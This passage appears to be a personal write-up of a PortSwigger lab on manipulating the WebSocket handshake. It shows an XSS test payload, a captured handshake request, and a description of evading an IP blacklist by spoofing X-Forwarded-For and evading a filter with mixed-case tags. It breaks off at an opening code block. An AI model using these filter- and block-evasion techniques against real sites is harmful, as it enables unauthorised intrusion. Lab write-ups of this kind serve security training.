PortSwigger Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
Task
This online shop has a live chat feature implemented using WebSockets.
It has an aggressive but flawed XSS filter.
To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser.
Attempt
First I went to the live chat page. Live systems often use WebSockets because they need faster transmission of data. I tried a simple xss payload:
<script>alert(window.origin)</script>
It explicitly said it detected my attack! Attack detected: Event handler.
Regardless I captured the request:
GET /chat HTTP/2
Host: 0a26003603bc360080db0d0c009d002e.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a26003603bc360080db0d0c009d002e.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=160xckBDj420p52hk8EzlyodDS1UZaPh
Sec-Websocket-Key: ibqAZ1reyAVmT6uLasQcrA==
You can see this is a request for WebSocket handshake because Upgrade: websocket, Sec-Websocket-Version: 13 and Sec-Websocket-Key headers. I repeated the request but the server responded with the message This IP is blacklisted. Looks like it blocked my IP because of the detected attack.
So sent a websocket request Repeater from websocket history (next to http history), spoofed my IP address using X-Forwarded-For header and reconnected.
Sent the payload with mixing upper and lower cases to bypass the filter: ```html